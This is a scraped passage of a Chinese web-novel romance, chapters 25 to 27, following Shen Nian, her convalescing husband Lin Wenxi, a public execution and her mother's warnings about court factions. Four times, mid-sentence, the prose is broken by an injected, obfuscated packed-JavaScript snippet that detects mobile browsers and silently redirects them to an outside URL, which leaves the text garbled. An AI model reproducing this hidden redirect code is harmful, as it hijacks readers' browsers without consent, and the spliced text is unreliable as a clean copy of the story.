沈年仰起头突然眼神认真道:“没了谁你都要好好活着,要惜自己的命,还有......你往后万不能做什么伤人害命的事,若敢做就别怪我不讲情面。” “我发誓。”林闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈修撰一直觉得心中亏欠他,最终也并未追究。 两人就这样居然过到了这年岁。 沈父被送上马车时,转头冲过来抱了抱沈年。 沈年伸出手最终却没将他推开,沈父箍着她的肩膀恸哭,“或许是爹爹真的做错了,但唯一一件事女儿不能怀疑,爹爹才是这世上最最疼你的人,你手上的这伤是那林氏弄得吧。” 沈年怔怔的抬头,“父亲怎么知道,听谁说的。” “没有谁,只是一封佚名的信。”沈父松开她,又不舍的摸了摸她的头,“原本想拿住那林氏和院中的那个白石审一审,也将林氏那个毒夫送上公堂,可惜......罢了。” 沈年后知后觉害怕,“信,什么信?” 沈父从袖中将那张纸拿出来给沈年,连同那个木盒。 里面还是那只长命锁和平安符,沈父亲手挂到沈年身上,“今年不能为年儿过生辰了,爹爹提前祝女儿平安多福,得偿所愿。” 沈父离去后,沈年还是忍不住落下眼泪。 她展开那张信纸,上面的字迹她看见过,是阿久的。 纸上全数是对林闻溪的每日起居记录,还特别用几个大字写出林闻溪下药让她染了风寒的事。 怪不得......怪不得...... 25. 第 25 章 沈年揣着那张纸回去,觉得身上黏了张凶咒一样,晦气的很一进门将那张纸丢进炭盆里烧了个干净。 这院子许久未有人住有些冷,沈年傍晚睡醒时给屋里添了这盆才走,林闻溪睡的香醒来时身子被烤的暖乎乎的,都不那么疼了。 沈年还搬了张小桌案到榻前来特意守在他身边,此刻正低着头专心致志又开始画她的图纸。 炭盆里火点噼里啪啦轻轻炸开,沈年笔一道道划过纸张,还有外面风略过着竹叶的声音,二人搬进新居,此刻他还有什么所求呢。 只盼望着这样的时候,往后能多一些,久一些。 林闻溪静悄悄的在被窝里趴起来,盯着沈年的侧脸出神,她五官瘦的比从前更加分明,顺着他的视线看过去她的脸颌线条格外清晰。 他掰着手指头数了数日子,好像自他在汤里下药让沈年风寒起,两人之间就没在有过什么安逸的时刻,他从前实在是做的有些过头,怪不得他现在一有什么异样沈年就要提起十二分精神来盘问他。 他做为郎君,来了这兰城没有帮上什么忙,尽给她添了一大堆麻烦,反倒是让沈年费心一直细致的里里外外的照料他。 林闻溪想着,在枕头上轻轻叹了声气。 他白吃白喝在这榻上已睡了半月有余,什么时候能好起来呢。 沈年赐他的恩情太多,他想要慢慢一点点还给她。 沈年听见他的叹息,以为林闻溪又在讲什么呓语梦话,转过头往塌上瞧了一眼,见人醒了又转溜着眼珠不知道琢磨些什么。 “醒了怎么不吭声。” 林闻溪蹬着脚后跟扑腾了几下还是没能爬起来,自己埋怨自己道:“我不想扰了三娘的正事。” 沈年过去扶着他靠着床沿半坐起来,林闻溪握着沈年的右手拨开纱布看她的伤已大致愈合,但留了一条显眼的疤痕,一整圈像是把手掌截断,一分为二一般。 林闻溪抬手扫视地上摞的一个个小木箱,这都是沈年刚叫人从院中搬过来的,里面都是些林闻溪平日用的瓶瓶罐罐。 也不知道做什么用的,就暂且堆在那,等林闻溪日后自己拾掇。 “那边最大的那个,”林闻溪循着方向指了指,“三娘帮我搬过来。” 他低头在箱中翻找出一个靛青的小圆盒递给沈年,“三娘记得每日早晚在疤痕处涂上,半月之后痕迹就会慢慢变淡的。” 沈年打开闻了闻,有股清清凉凉的香味。 “等半月之后,我能下榻,就再给三娘制一盒新的,保管最后一点疤都不留。” 沈年塞了一碗鲫鱼汤到林闻溪手上:“你还会做这东西?不过大夫说至少要静养一个月,要些什么用料待会你写在纸上,等明日我买回来,你闷的时候刚好能打发时间。” 林闻溪欢喜点头,他觉得总算是有点用处了。 他如今容颜尚可,六成是从他那爹爹继承来的,四成是靠他平日里那一盒又一盒养颜膏调养的。 他在林府的每月领的份例大半都用在这些东西上,所以对付这些伤疤倒是颇有心得。 毕竟他无依无傍,唯一还算能拿的出手的就是这张脸了,他不多在脸上花心思如何能被沈父看中,为自己谋来这桩婚事呢。 便是现在,他也觉得沈年是更爱他这副皮相多一些,在榻上沈年比起和他亲吻更喜欢亲他身子,也从未真正说过心悦他之类的话。 林闻溪越想越偏,脸上发红低头埋着脸喝汤。 这汤煲的又鲜又甜,他许久没正经吃过一顿饭了,一大碗咽下肚没忍住又向沈年不好意思的讨了一碗。 沈年出门直接将煲汤的小锅端在他面前,“一碗汤而已,何须这样小心翼翼的,你若喜欢明日我再去河里摸两条回来炖给你喝。” 林闻溪似乎对此饶有兴趣:“三娘也会抓鱼吗?” 沈年边回答边坐回去忙手上的事,“我在河道上和她们学的。” “我听白石说摸鱼很好玩,小薇常常带着他去呢,每回都能捞上满满一筐在河边烤着吃,光是想想就惬意,三娘什么时候也能带我去见识见识就好了。” 林闻溪的语气像个小孩子。 “摸鱼要把脚泡在河水里一两个时辰,你哪能受的了。” 沈年未听见林闻溪再吱声,偏头看着林闻溪脸上丧气的表情,又想了想,“兰城山上有笋子,等你养上一个月笋也刚巧到了时节,到时候我带着你去玩。” 林闻溪捧着碗粲然一笑:“好。” “白石他伤的重不重?”林闻溪喝饱放下碗,忽然想起来又问沈年。 今日沈父的人闯进来的时候,全凭有白石在旁相护,他的胳膊被用木棒子打了一棍,本以为没什么大事,晚上才发句抬不起来,有一大块青肿。 沈年道:“我安排了小薇与他隔个墙住照顾,休养个几日应该就能好了。” “三娘这月多发些工钱给他,他跟着我尽心尽力受了不少苦,银子从我账上出算是我的一点心意。” 林闻溪没什么朋友,眼下能与白石合得来,听话茬平日里两人说了不少话,沈年替他开心笑着点头。 “只心烦这几日三娘不在,我就要成日对着父亲身边的那几个侍从了。” “怎么?” “在沈府的时候我没少在他们面前被父亲训的难堪,我还曾听见过他们私下里嚼舌根呢,”林闻溪边说边回忆,不自觉捏起了拳,“现在见父亲失势了,又扑到我脸上来巴结。” 沈年抬手在他眼前晃了晃,“少动气。” 林闻溪刚才就留心到了沈年身上挂着的长命锁,听到铃铛轻轻的响动恍然想起来在合婚庚帖上看过的八字,再过几日就是沈年的生辰了。 他扳着指头思量着要送什么生辰礼才好,难得在沈年面前安静下来。 沈年这边想着的也是送礼的事,她答应宋大人要登门奉上谢礼,人家定不缺什么金银珠宝,她思来想去拿不定主意。 刚才从官署回来的时候,正见到农田上有人唤着黄牛犁地,此时正值春耕的时候,田地多的人家要一连半月从早忙到天黑,赶着第一场春雨落下前将地翻好才行。 而且普通庄户人家,家中有牛的也只是少数,多数农户靠的一双手劳作,不光是犁地翻土之后还要挑水浇地,一小块地就够一家人忙活了。 古代靠雨水土地吃饭,沈年想着趁着修坝或可以引几条渠过来方便灌溉,建造水车可以让农户省不少事。 这不光是宋昭佛所说不负皇帝所托,更能借机为百姓们谋一点福祉,她这些日子结识了不少河道上的劳工,真切体知到了文中所写的生民疾苦这四字。 她低头画这张图时带着一种她说不出来的情愫,她太渺小不敢给自己带什么高帽,只想着能尽绵薄之力让她们能过得轻松一点。 沈年暂且将草图画就,外面的侍从叩门,端了一大盆热水进来,水面还飘着几片花瓣,侍从在林闻溪面前显然是要比之前要恭谨。 “少君该擦身了。” 林闻溪不愿意让他们如此近身伺候,可又不想沈年看他现在这副不太漂亮的身子,心中纠结一时无话。 沈年起身摆手让侍从退出去,她浸湿帕子到林闻溪面前打着呵欠坐下。 林闻溪紧张道:“三娘要帮我擦?” 沈年会错了意回道:“你刚才不说话,我以为你不想让他们碰你,那我再帮你把他们叫回来?” “不用了。”林闻溪说着转身背对着她解开衣衫,“前面我自己来,三娘帮我擦下背就好了。” 沈年见他这副忸怩的样子就猜到他脑子里在想什么,懒得再戳破应了一声。 她怕林闻溪着了凉,从他后腰处将手探前去,将他的衣裳拉下来。 “三娘......”林闻溪拦了一声。 “等你磨蹭完,水都要凉了。” 沈年说着握住他的腰,撩开他后面的乌发,露出他光洁的脊背,虽然瘦弱但还是分外漂亮,沈年不知道林闻溪究竟在胡乱担心些什么。 帕子贴上去的时候林闻溪后背的肌肤微微颤了一下。 沈年问他:“是烫到了?” 林闻溪摇了摇头道没有,然后将手向后勾了勾,握住沈年的手指:“三娘别这样掐着我的腰。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399746|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年故意使坏握的更紧了:“不这样我怎么使得上力气,。” 林闻溪挪了下腿:“那好......好吧,三娘动作快点。” 沈年没用多少功夫轻轻擦了两回,林闻溪觉得度秒如年。 终于从沈年手中接过帕子,低头擦到心口处的伤痕,才发现自己身上也留了个难看的疤,先前伤口没愈合不能涂药,又昏天黑地的睡了几日,根本没注意到这事。 他探手上去摸了摸,倒是没有沈年手上的那么深,不过要完全淡下去也需要三四个月,幸亏没叫沈年瞧见。 她最喜欢亲他身上这处了。 沈年看他停着不动,将脑袋从他肩上探过去,林闻溪吓得一激灵,拉起被子遮在身上,慌张打量着沈年的表情。 沈年也跟着一抖:“怎么了突然跟防贼一样,又不是没看过。” 林闻溪捂着被子心有余悸:“明明是三娘要偷看。” “我只是想看你停在那干什么,光着背当心受凉。” “我很快就能擦好,”林闻溪探出脚轻轻踢了下她,“不过三娘要转过去,我好了就唤你。” “好......我这就走。”沈年起身往外走去洗自己的脸。 夜里吹灭了灯,林闻溪才又安下心过来枕在沈年肩上睡着。 沈年清晨睁眼,悄悄将手指从襟口探进去,凑过去一瞧恍然大悟,在他耳边叹了声气。 林闻溪睡的浅被沈年的声音吵醒,张开眼沈年的脸正压在他面前,迷迷糊糊的问:“三娘这是在做什么?” 沈年亲昵在他唇边亲了亲:“我瞧你睡着的样子可爱,舍不得下榻走想着偷偷亲一下呢。” 林闻溪被沈年一句话哄得害羞,“又不是头一天做夫妻了,怎么今日这般黏糊。” 沈年见瞒过去了才敢走,打理好衣衫出门,林闻溪在里间唤她带点桌案上的点心再走,沈年在帘中探出头晃了晃手中的布袋,“都带上了,你好生养着,午间我不回来瞧你了。” 林闻溪脸贴在枕头上温和的点点头。 林闻溪没有再躺多久就唤了侍从扶他起身坐着,命他们去街上买了几节杨木来,在纸上凭着记忆画了一只猫。 这猫黑白相间,瘦瘦小小的时常来蹲在他们院子的墙头上。 沈年似乎很喜欢这些生灵,一见到就站在原地拟那猫的声音喵喵唤它,只是它胆小怕生,沈年一次次总捉不住,不然早收留养在院中了。 沈年似乎对什么都兴致缺缺,可有可无的样子,唯独对这只小猫喜爱非常,日日不忘在墙角处给它添水添饭, 林闻溪想着不如按着这猫的模样木刻一只来放在她的床头,每日醒来看见便能开心。 他这木刻的手艺还是他爹爹教给他的,听他爹爹说他原本就是靠卖木刻为生的,林闻溪幼时的玩具一半都是自己捡木头刻来的。 正巧这木刻有祈福辟邪的好寓意,只是不是什么名贵值钱的东西,他拿着几块木头在手中仔细挑了挑,选了一块纹理品相最好的先留着,随手拿了另一块按着纸上的画试着开始试手。 他许久不做这东西了,果然手生了出了好几次错。 但愿沈年能喜欢他送的这生辰礼吧。 他简单刻了个模样出来,听见外面的侍从来禀告,沈年收留的那个清茸能下地了,想来拜见他。 林闻溪没有沈年那样的心怀,他觉得清茸可怜是可怜,但一想到他进过那样的地方心中总有些芥蒂,毕竟人们口中传言这样的人十分不详,像是乐馆的那些小倌人们见到都是要绕着走的。 沈年是女子到无妨,他若与这样的人打交道难免不会被人议论。 林闻溪假装揉了揉头回绝,“去回一声,说我身子还在病中,不宜相见,等过些日子大好了再与他说话。” 侍从按林闻溪的话出去回了,又折返回来。 “少君,那男子听说今日那几个贪腐的总管要被压上法场行刑了,想来问您能不能派人拉他过去看。” 原来是想求他这事,这是人之常情,林闻溪爽快应下。 “去跟院中的守卫说一声,带他过去就好。” 26. 第 26 章 沈年本想着在今日去河道上拿出图纸与宋昭佛商议一番,然而听闻沈修撰张出了布告,今日要将犯人压到法场一同正法,宋昭佛一同监斩,今日没来帐中,沈年只好暂将此事搁置。 沈年一从宋昭拂帐中出来就被人围了上来。 其中一个素来爱挑事的上来就义愤填膺喊道:“沈娘子,按你教的方法浇出来的小轮承不了重,在地上转几圈就压折了,耽误了两日学这东西没挣工钱,弄出这一堆破铜废铁也无法用,沈娘子可得给我们想想法子!” “沈娘子不如将工钱补给我们,家里的男人还等我今日带铜板回去买米下锅呢!” 小薇是个暴脾气,见一众人围着沈年嚷叫,亮嗓子喊了一句道:“我们三娘子一片好心一遍遍教你们为了让你们多挣点工钱,明明三娘子亲手做出来的没有问题,你们现在不分青红皂白就上来讨钱真是翻脸不认人。” 搬着几筐土石路过的听见有人出头,也跟着搭腔为沈年说话:“我做出来的也没问题,是不是沈娘子教的时候你们没留心听呐。” 当头的人气冲冲的吵道:“谁说的,我们都是仔细按步骤一步步做的!” 眼见着又要哄闹起来,沈年边往砂堆那边走边冷静道: “大伙莫急,家中没银子吃饭的先去主簿那领一日的工钱,我去看看你们填的砂箱还有铸件哪出了问题。” 听到能领工钱大半人静下声来不再吵了。 沈年走过去随手拿起一废件在手中一瞧,表面到处可见的气孔自然容易变形,出现这样的缩孔大半是在浇金属液的过程中流速不匀所致。 沈年举在空中晃了晃问:“这件是谁做的?” 一人举手从人群里钻出来,沈年招呼过来亲自示范了两三遍,她边做边耐心讲道:“手上要稳,倒的时候不能过急过慢,像我这样的流速做出来便不会有问题了。” 沈年本就没什么官架子,常与她们坐在一处吃喝,劳工们也本是为了生计不是故意为难沈年,见状也纷纷拾起自己的工件凑到沈年面前讨教:“沈娘子再看看我的。” 沈年一个上午为众人排疑解难,一直说话嗓子都哑了刚坐着喝了一碗水。 见人们不午歇纷纷都往刑场那里跑,小薇又硬拉着沈年一同去看,“听说十几个人一起行刑,错过这场面三娘子再过十年也看不到呢。” 去时人头攒动围着刑台里外站了几圈人,连个落脚的地都没有,底下的百姓不知哪一个捡起地上的石子往死囚脸上砸,其余人也跟着效仿,石头跟流星雨一样噼里啪啦往死囚身上打,街上楼窗中探出身子看的人高声呼喊着拍手叫好。 刑场阶上的高台上铺着红毡,一旁放着漏刻时辰一到,三位钦差就从围帐中迈着官步出来,沈修撰是主审官站在正中,威风八面。 她坐定的敲一声桌上的惊堂木,四下骤然间静了下来,等着沈修撰将写“斩”字的黑令签从台上扔到地面,人群再次沸腾起来。 刽子手洒了一口酒,大刀一挥血溅四处。 沈年下意识将头扭到后面,从人堆里往外面钻想出去透一口气,瞧见清茸被人抬着坐在担子上眼睛都不眨一下,他未哭未笑,脸上没有表情就那般看着。 “沈娘子……”清茸见到沈年向他走来扶着身下的木架,勉强笑了笑,“沈娘子今日回去代我向林郎君道一声谢,谢谢他派人将我抬到这来,亲眼见到仇人被血刃。” 沈年想了想,“他大病未好不能见人,等过些日子你亲自去谢他。” 清茸苦涩摇了摇头道:“劳烦了沈娘子又救了我这样的人一回,我不能继续留在府上叨扰了。” “你孤身一人要往何处去呢,你不必多想我们院子里屋子多着,住你一人不妨什么事。” “沈娘子我在你们院子里,会损了院中男眷的声誉,我不能如此没有良心赖着不走,再不济我去街上乞食......我这样的人早死早干净。” “怎么又说这种话,你的仇是报了,还有翠娘呢。”沈年看见清茸眼中滴下泪,没有继续往下说,“而且我给你治病花了不少医药费,你还未还我怎么能走?” 清茸淡淡的笑了笑,“沈娘子真是十世修来的大善人,那我住下来,等腿脚利索了我在沈娘子院中当个杂役来还你的医药钱。” 沈年满意的点了头,“这就好。” 吩咐完抬担子的人将清茸送回去,沈修撰跟前的人就来传,说是沈修撰有话要问她。 沈年被人带去一间凉亭,沈修撰背身站着等她。 昨日两人闹得僵,沈年犹豫了几下还是张口唤了声母亲。 沈修撰回首道:“看来你还愿意叫我一声母亲。” “母亲守信送了父亲走,女儿自然也要信守诺言。” 沈修撰抬头打量了沈年一圈,开口话头一转问道:“那院子是宋昭佛让你住的?” 沈修撰的语气出奇的平和,沈年回了一声是。 “你何时与她走的这般近了?” “平日里常向宋大人述职,她凑巧搭救了林氏,见院子被砸坏了就叫我先住在此。” 沈修撰看向她摇头轻蔑的笑了笑,“凑巧?她这种鬼话你也会信。” 见沈年不解,沈修撰又开口道:“你可知道你住的是当今陛下曾来住过的院子。” 沈年闻言一瞬如坐针毡,站起来惶恐望了一眼那院子道:“宋大人怎么会把这样的院子给我住,这......不会犯什么忌讳吧。” 沈修撰淡定的抬了下手,“她既给住就无事,只是这宋昭佛这是要彻底把你和她们绑在一条船上,让别人知道你已是陛下一派的人。” 沈年道:“有陛下庇佑,这不是一桩好事吗?” 沈修撰摇头转身望着远处,开始向她讲起先帝那一朝的往事。 先帝原本只是个宫侍所生的不起眼的公主,谁也没想到她能从一众亲王中杀出重围夺嫡登基,而且福泽深厚在位有五十余年,膝下子嗣众多,尤其是与元君所生的二公主,人人见了都要称道一声,也早早被先帝立为了太女。 先帝年轻的时候不得不说是位为勤政英明的君主,只是到了暮年却是昏招频出。日日沉迷声色荒废朝政不说,还痴迷于长生炼丹之术,引的百姓怨声载道,朝臣纷纷上书谏言。 先帝恼火听信左右宠臣进言设立风宪司纠察百官之失,风宪司为迎合圣心,或是挖除陈年旧事或是安上莫须有的罪名,将上书劝谏的大臣接连下狱问罪。 其中牵出一桩巫蛊大案,起因是有人检举一朝臣在家中私藏桐木人偶诅咒皇帝,风宪司前去搜捕果然从朝臣家后院挖出一木偶上写着先帝生辰八字,先帝震怒下令彻查。 当时京中大臣人人自危,早晨一身官服去上朝或许午间就穿上囚衣被拉到午门枭首示众,人头滚地了,最后这案子居然查到了当时的太女身上,说其有意图谋反之嫌。 风宪司将罪状呈上去先帝大怒,下令将太女赐死,太女一脉千人尽数斩首,无人幸存,还波及了三位与太女交好的公主,被圈禁终身不得出。 经此一案再无一人敢上书,当时的风宪司几乎凌驾于朝廷三阁之上,盛极一时。 朝中文臣为了自保以中书令赵书群为首私下里结成一党与之相抗,但也只不过是螳臂当车而已。 先帝病重后渐有所悔悟,驾崩前几日设局将风宪司的首官刺杀,才算压下去风宪司的气焰。 说起来当今陛下的皇位几乎是算撞了天运捡来的。 或被杀的或被关的,还有没熬过先帝先亡故的,最后可选之人居然只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410318|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个痴迷于吟诗作画的十公主,先帝驾崩后被仓皇推上帝位。 如今朝堂上风宪司与赵党水火不容,各脉宗亲也人心不定,可算是乱成一锅粥,陛下这一派的势力算是最末的。 “我说这宋大人先前还对我颇有成见,忽的无事献殷勤邀我同宴原是没安什么好心。”沈年听毕双手抱胸气鼓鼓的说道。 “我早告诫过你少对那林氏上心,男人当个物件摆在家里有个样子就好,你偏偏要捧在怀里,如今叫宋昭佛捏到你的软肋,你日后免不了要处处被掣肘。” 沈修撰还是不忘说她那一箩筐,不过后半句倒是真心在替她忧虑。 沈年知道书中剧情陛下之后有女主匡扶帝位坐的稳固,宋昭佛虽是有心利用她,却也正合沈年的意,与女主站同一条线上总不会出错。 沈年起身向沈修撰走近一步,“正所谓祸兮福之所倚,说不定这是女儿的机缘呢。” “我刚才与你讲的那些都白费吐沫了不成,你怎还不知道这里面的厉害......” 沈修撰说着低头注意到沈年袖中卷着的图纸,抽过来展开一看,“这东西你要呈送给宋昭佛看?” 沈年随即点头却被沈修撰拿纸在头顶重重敲了一下,“糊涂!这岂是你该管的事,工部是赵党的势力,你莽撞乱出风头是会被人盯上的。” “可女儿也并非是为了出什么风头,只是想为农户们做件好事。” “党争本就是党同伐异,”沈修撰满目笃定的看向沈年,“等着吧,不出三日封赏你的圣旨就会到,到时候人人皆知,你这时露这个脸就成了众矢之的。” 沈年将图纸从沈修撰手中接过,沈修撰的声音在她耳边像是一声声钟响,“要想在这滩浑水里不被淹死,首要学会藏拙,万不可锋芒太过,等你有朝一日登到高处有能力保全自己和身边的人,那时才能做你想做的事。” “女儿明白了。” 在官场上沈年和沈修撰比起来宛如一个三岁孩童,她没有不听沈修撰的道理。 沈修撰忽然伸手摸了摸沈年的头,沈年一时抬起头错愕。 “我明日便要启程回京,将我的话记在心里,万事三思而行。” 沈年躬身向沈修撰一拜:“谢母亲指点迷津,一路平安。” “去吧。”沈修撰摆了摆手道。 沈年走到拐角处回头望了一眼,沈修撰也正看着她,发觉沈年的视线她低下头躲避,沈年执着停在原地不走,僵持许久,沈修撰还是将头抬起来向她微微一笑。 林闻溪听见外头侍从的咳声,将手中的木刻塞进小箱子里藏到塌下。 “三娘回来了。” 林闻溪见沈年满面春风笑着迎她回来。 “嗯。”沈年沾了一身灰土,停在珠帘外换衣衫,侍从跟着鱼贯而入凑上来服侍。 沈年想着这些侍从跟着沈父一路走过来又被抛在这也是不易,如此殷勤也只是为了讨她的好罢了,她若不用这几人更是要惶惶终日不安了。 林闻溪在榻上看着沈年乖乖探着脸让那两位小侍从擦,向外唤了一声沈年,“三娘坐过来。” 沈年偏过头问:“怎么了。” 那两个小侍从识了林闻溪的脸色,端着水盆和帕子进来放到他手边而后又站到外面。 “不过擦个脸而已。”沈年坐到林闻溪面前打趣道:“也不怕别人笑话你小气。” 林闻溪托着沈年的脸往前凑近,“天底下男人都这样,有哪个是大度的,谁能笑话谁呢。” 沈年笑的灿烂,林闻溪将帕子覆在她脸上,“我看三娘也受用的很,我日后也不必费心装什么了,安心当个妒夫,三娘是不是更喜欢。” 林闻溪点中她的心事,她确实喜欢在林闻溪身上闻这醋味。 27. 第 27 章 外面的一声雨点打在芭蕉叶上,也像是打进了沈年心里的那一谭水,一圈一圈泛起涟漪。 她的眼眸亮亮的看着林闻溪,上面胧着一层柔光,脸一寸寸往他面前凑。 沈年每回要亲他的时候就这般看着他,林闻溪放下手中的帕子眼神向外瞥了眼,抓着沈年的前襟往前一扯,将两人的脸藏在塌边的纱帘后面,呼吸近在咫尺他本能的闭上了眼。 沈年懵了下不由的压低声音,悄悄道:“还有人在,你拽我做什么?” 林闻溪的脸羞红成一团,以为沈年又在故意钓着他捉弄,恼羞用额头磕了一下她的肩,“三娘不是要......” “不是。” 听到沈年的话,林闻溪下意识抬手要将沈年推出去,脸上的红晕变成了自觉丢脸的局促。 沈年握住他慌乱的手,将人抱在怀中,林闻溪抵在她肩上将手挣开探进薄衫中拉扯,露出她的锁骨低下头咬了一口。 他并没有使什么力,咬完还安抚似的轻轻舔了下。 “你属小狗的,动不动就咬人。” 林闻溪抬起头,“谁叫三娘总爱耍这些招数戏弄我。” “谁要耍你了,我刚才只是想跟你说句话。” “说什么?” 沈年被他的眼神盯着,一时嘴巴像黏住了结结巴巴说道:“我......我是喜欢你。” 沈年原以为林闻溪会贴上来热烈的与她缠吻,但他定着不动眼睛往地下瞟,喉结滚动分外纯情的回道:“我也喜欢三娘。” 沈年轻轻笑了声,“你的反应每次都让我猜不中。” “三娘想要我有什么反应,我......我可以做。” 沈年摇头摸着他的脸真挚的在他唇上亲了下,“没关系,你是你自己就很好,不必刻意迎合我。” 外面的雨声变得急骤,拍打着院子里的草木门窗潇潇作响,风声穿过竹叶从窗缝中带进来冰凉的水气,先前他最怕这样的天气,每到这样的夜晚他总要一个人蜷缩成一团,腿上的痛发作膝盖里面像是灌着水,他形容不准确那种感觉就像是拿着钝刀子割肉一般,折磨着人整夜不能合眼。 然而今夜,他生平头一回从别人的嘴里听到喜欢二字,林闻溪鼻子一酸,躲在沈年怀中小声啜泣,在她怀中被温暖的体温围拢,那些风雨全数被挡在外面,再也不会扰他安宁了。 “怎么哭了?” 林闻溪仰起头,他的眼睫上沾着湿润的泪珠,凑上来虔诚的吻了下她,他本要松开说话沈年忍不住追上去含着他的嘴巴深吻。 林闻溪被沈年压着,后腰靠着床沿才算是支撑住上身,沈年前几回总是一贯温柔,这回分外强势让他几次忍不住哼出一点声,林闻溪怕被外面听到用手指点了点沈年的背。 沈年将他松开,见林闻溪被他压得上身半向下倾倒,将人扶起来在背上揉了下,“抱歉。” 林闻溪捂脸一笑,“三娘刚才还像要把我拆吃入腹,一转头怎么又这般斯文客气起来了。” “下雨了。”沈年看着林闻溪的嘴巴红红,被他这么一说也觉得不好意思,生硬的转过话题,“看这雨势下到明早去了,我去帮你把炭盆搬来暖一暖腿。” 林闻溪伸手帮沈年身上被他揉皱的前襟理好,眼意笑笑的点了下头。 沈年出去穿上外衣将炭盆搬来,又把窗缝都堵的严实,将林闻溪披上件厚袍子扶着他下榻坐在躺椅上,“你烤一烤,呆会我扶着你走几步,久卧血液不流通也要适当走走。” 沈年说着闻到外间飘进来的一丝香味,“今日这是吃什么这么香。” “我瞧三娘这几天跟着我吃那些清淡寡味的都吃腻了吧,昨天夜里一直说梦话,就备了暖锅子来,正巧今日落雨呢,还有白石酿的青梅酒微酸回甘,三娘尝尝。” 沈年心虚的摸了摸脸,其实她偶尔回来会偷偷先去酒馆子里点几个小菜,回来再陪着林闻溪假吃几口。 幸亏今日见要下雨没去,不然就白费林闻溪替她花心思了。 沈年替他揉着腿:“那你吃什么?” “还是那些药膳,我已经吃过了,三娘去吧。” 沈年点头出去坐下,锅里咕噜咕噜冒着热气,听着外面的雨声,格外的舒心。 “三娘怎又将这纸拿回来了,不是说要给宋大人瞧嘛。” 林闻溪坐着无聊,拿起沈年的图纸看了看向外问了句。 “母亲今日跟我说了些事,这纸暂且还不能拿出来。” “对了,母亲下午派人送了几件瓷瓶字画过来,让三娘挑一件给宋大人当做谢礼呢。” “是吗?”沈年想起今日与沈修撰分别时她站在原地不动,她也不知道那时候自己为何那样做,只是固执的想要沈修撰抬起头来再看看她,或许是因为在沈修撰摸她头的那一瞬,她真的将沈修撰当做了自己的母亲,想她再来看看自己。 “三娘走什么神呢?”林闻溪探出头来问沈年。 沈年晃了晃头抽回思绪,“你刚才说什么来着?” “我说那字画我都叫人摆到书阁去了,三娘一会过去看看。” “倒是白让母亲为我费心了,我已有了别的主意,不必送宋大人什么字画。” 林闻溪哦了一声,又翻到下面的那张,上面画的像张椅子,好奇问了问沈年这又是做什么用的。 “那是给你坐的,在榻上躺久了偶尔叫他们推你到院中晒晒日头。”沈年嘴里咬了一块虾肉嘟囔道。 林闻溪摸着那些线条不再说话了,他要给沈年送的木刻与这个比起来相形见绌,像个拿给小孩子的玩偶,他琢磨着怎样再添一点心思进去才显得郑重。 沈年身上沾了味道出了屋去沐浴,林闻溪趁着工夫叫人唤人将他的木刻取出来拿笔在上面染墨,猫身有了颜色似乎更要栩栩如生,他这才算满意一些。 “等久了吧。”沈年在发尾系着根红色发带,进来时被风吹得飘起,林闻溪看着晃了晃神。 沈年扶着他缓缓站起来时,林闻溪满脑子都想着她是用什么花汁沐浴的身上好香,让他总想着凑近。 林闻溪走了几步,到了屋门前停下,沈年问他是不是走不动。 林闻溪听着外面的雨声,“三娘,我想和你一同赏赏雨。” “可你的腿......” “烤了许久的火,现在一点都不难受,我一直都想要看看。” 沈年让林闻溪先扶着桌角,将右边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424077|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窗户敞开,雨一瞬间扑进来,在沈年额头上沾了几滴。 沈年抬手擦了擦,身后的林闻溪自己沿着桌边走过来将脸搭在她肩上。 沈年偏头问了问他:“冷不冷。” “有三娘在,不冷。”林闻溪不怎么能站得稳,他半坐在桌边上身完全贴着沈年的后背,看着窗外的骤雨。 沈年伸手掩着他的膝盖,安静与他一起听雨。 小池塘里被雨点打起数不清的小气泡,屋檐下躲雨的一对新燕叽叽喳喳为对方理着湿掉的尾羽,门口留着一只黄油油的伞...... 林闻溪贴着沈年的颈听她说话,“对了,清茸他托我谢你呢。” 他幽幽在沈年肩上道:“三娘这个时候还能想起别人呢。” “只是忽然想起来——”沈年说到一半被林闻溪拽着转过来勾着脖子吻。 沈年浅尝辄止,推开林闻溪后退一步道:“天要黑了,再这么亲我要......克制不住,今夜没法睡了。” 林闻溪牵着她的手,“为何要克制?” “你的病才养几天。” “三娘带我去榻上,我会用别的法子。” 